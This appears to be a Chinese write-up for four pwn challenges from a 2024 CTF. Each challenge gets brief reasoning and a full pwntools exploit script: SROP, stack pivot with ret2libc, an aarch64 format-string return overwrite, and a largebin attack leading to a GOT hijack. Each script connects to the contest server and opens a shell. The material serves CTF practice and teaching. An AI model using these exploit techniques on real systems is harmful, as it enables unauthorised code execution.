2024御网线上Pwn方向题解
ASM
Checksec检查保护
基本上保护都关闭了
64位ida逆向
程序只有一段,并且返回地址就是输入的数据,看起来就是srop了,找一下可以用的gadget
通过异或清空rax值,然后通过异或ecx和1,异或rax和rcx即可增加rax的值,同理左移一位同样可以增加rax的值,将rax增加到0xf然后打srop,程序还给出了/bin/sh
EXP:
1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./asm")
6.io = remote('101.200.58.4',10001)
7.#gdb.attach(io)
8.#pause()
9.sh = 0x40200A
10.syscall = 0x40102D
11.xor_rax = 0x000000000040103D #xor rax, rax
12.shl_rax = 0x0000000000401030 #shl rax, 1
13.mov_ecx = 0x0000000000401034 #: mov ecx, 1 ; xor rax, rcx ; ret
14.elf = ELF('./asm')
15.system =SigreturnFrame()
16.system.rax=0x3b
17.system.rdi=sh
18.system.rsi=0x0
19.system.rdx=0x0
20.system.rip=syscall
21.payload =p64(xor_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)+p64(shl_rax)+ p64(mov_ecx)
22.payload +=p64(syscall)+flat(system)
23.#gdb.attach(io)
24.io.sendline(payload)
25.io.interactive()
Ret
Checksec 检查保护
基本上也是啥都没有开
那么直接64位ida逆向
程序主要是播散时间种子,然后随机数取值在0-160之间,当大于等于144时候才会溢出到返回地址,因此进行栈迁移,同样控制了rbp就可以控制rdx
那样就可以一直溢出了,然后打ret2libc,当然随机数需要一点运气
EXP:
1.from gt import *
2.
3.con("amd64")
4.
5.#io = process("./ret")
6.io = remote("101.200.58.4",10004)
7.libc = ELF("./libc.so.6")
8.#gdb.attach(io)
9.
10.
11.def pwn():
12. io.sendafter("ask?",'flag')
13.
14. #gdb.attach(io)
15. io.recvuntil("ok,")
16. num = int(io.recv(3),10)
17. print("---------------------------",num)
18. if num <144:
19. return
20. io.recvuntil("number\n")
21. #num = io.recv(3)
22. #print(num)
23. bss = 0x601280 + 0x300
24. lv = 0x400891
25. read = 0x400876
26. pop_rdi = 0x0000000000400923#: pop rdi; ret;
27. puts_got = 0x601018
28. puts_plt = 0x400600
29. payload = b'a'*0x80 + p64(bss) + p64(read)
30. #sleep(1)
31. #gdb.attach(io)
32. io.send(payload)
33.
34.
35.pwn()
36.pop_rdi = 0x0000000000400923#: pop rdi; ret;
37.puts_got = 0x601018
38.puts_plt = 0x400600
39.bss = 0x601280 + 0x300
40.payload = b'a'*0x80 +p64(bss+4) + p64(0x400873)#p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #+ p64()
41.io.send(payload)
42.ret = 0x6012a8
43.payload = b'a'*0x84 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400876)
44.io.send(payload)
45.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
46.suc("libc_base",libc_base)
47.pop_rsi = 0x0000000000400921#: pop rsi; pop r15; ret;
48.system = libc_base + libc.sym["system"]
49.binsh = libc_base + next(libc.search("/bin/sh"))
50.payload = b'a'*(0xa4-8) + p64(pop_rdi+1)+p64(pop_rdi) + p64(binsh) + p64(pop_rsi)+p64(0)*2+ p64(system)
51.
52.io.send(payload)
53.io.interactive()
normal pwn
看名字就知道可能是异架构
Checksec 检查保护
Arrch架构,保护全开
Ida逆向一下
初看是一个堆题目
上来给了stderr地址,那么可以得到elf的基地址
Show函数没有格式化,存在格式化字符串漏洞
同样存在后门
那么思路很清晰通过格式化字符串泄露stack地址,然后再修改返回地址为后门
效果如下
EXP:
1.from gt import *
2.
3.con("aarch64")
4.
5.#io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./pfdata"])
6.#io =process("./pfdata")
7.io = remote("101.200.58.4",5555)
8.
9.elf = ELF("./pfdata")
10.io.recvuntil("stderr ")
11.base = int(io.recv(10),16) - 0x12128
12.def add(index,size):
13. io.sendlineafter("choice: ",'97')
14. io.sendlineafter("index: ",str(index))
15. io.sendlineafter("size: ",str(size))
16.
17.
18.def show(index):
19. io.sendlineafter("choice: ",'115')
20. io.sendlineafter("index: ",str(index))
21.
22.
23.
24.def edit(index,msg):
25. io.sendlineafter("choice: ",'101')
26. io.sendlineafter("index: ",str(index))
27. io.sendafter("content: ",msg)
28.
29.
30.add(0,0x68)
31.edit(0,"%9$p")
32.show(0)
33.io.recvuntil("content: ")
34.elf_base = int(io.recv(12),16) -0xea0
35.suc("elf_base",elf_base)
36.backdoor = elf_base + 0xd40
37.edit(0,"%8$p")
38.show(0)
39.io.recvuntil("content: ")
40.ret = int(io.recv(12),16) -0x18
41.payload = b"%"+str(ret&0xffff).encode("utf-8")+b"c%8$hn"
42.edit(0,payload)
43.show(0)
44.
45.payload = b"%"+str(backdoor&0xffff).encode("utf-8")+b"c%12$hn"
46.edit(0,payload)
47.show(0)
48.
49.io.interactive()
no fmtstr
Checkse检查保护
没有开pie和got全保护
64位ida逆向
是个堆题目,先把函数名改了
申请堆块有限制,大小在largebin范围内
Free函数存在UAF
存在后门
还有一点就是做了检查,导致不能伪造stderr等结构体
那么可以通过largebin泄露 libc和heap地址,然后通过largebin attack 修改 mp_结构体,那么就可以free chunk进入到tcachebin里面,然后劫持指针修改got表
这里发现从write 或者setbuf的got开始修改效果好一点,不然可能由于地址问题会报错,期间会覆盖system got表,注意不要覆盖了。
1.from gt import *
2.
3.con("amd64")
4.io = process("./fmt")
5.#io = remote("101.200.58.4",2222)
6.libc =ELF("./libc.so.6")
7.
8.
9.def add(index,size):
10. io.sendlineafter(">","1")
11. io.sendlineafter("Index: ",str(index))
12. io.sendlineafter("Size: ",str(size))
13.
14.
15.
16.
17.def free(index):
18. io.sendlineafter(">","2")
19. io.sendlineafter("Index: ",str(index))
20.
21.
22.def edit(index,msg):
23. io.sendlineafter(">","3")
24. io.sendlineafter("Index: ",str(index))
25. io.sendafter("Content: ",msg)
26.
27.
28.def show(index):
29. io.sendlineafter(">","4")
30. io.sendlineafter("Index: ",str(index))
31.
32.add(0,0x540)
33.add(1,0x528)
34.add(2,0x530)
35.free(0)
36.add(3,0x550)
37.edit(0,'a')
38.#gdb.attach(io)
39.show(0)
40.io.recvuntil("Content: ")
41.libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x61 - 0x1f7100
42.suc("libc_base",libc_base)
43.stderr = libc_base + libc.sym["stderr"]
44.system = libc_base + libc.sym["system"]
45.mp_ = libc_base + 0x1F63B0
46.suc("mp_",mp_)
47.edit(0,b'a'*0x10)
48.show(0)
49.io.recvuntil("a"*0x10)
50.heap_base = u32(io.recv(4)) -0x290
51.suc("heap_base",heap_base)
52.
53.payload = p64(heap_base + 0x290)*2 + p64(libc_base + 0x1f7100) + p64(mp_ -1 -0x20)
54.edit(0,payload)
55.free(2)
56.add(4,0x560)
57.add(5,0x560)
58.add(6,0x560)
59.edit(5,'aaa')
60.edit(6,'bbb')
61.free(5)
62.free(6)
63.key = (heap_base + 0x2000) >> 0xc
64.backdoor = 0x4011D6
65.write = 0x404020
66.system = 0x4010A0 +6
67.edit(6,p64(write ^ key))
68.add(7,0x560)
69.add(8,0x560)
70.
71.edit(8,p64(system)*4+p64(backdoor))
72.#gdb.attach(io)
73.io.sendlineafter(">","4")
74.
75.io.interactive()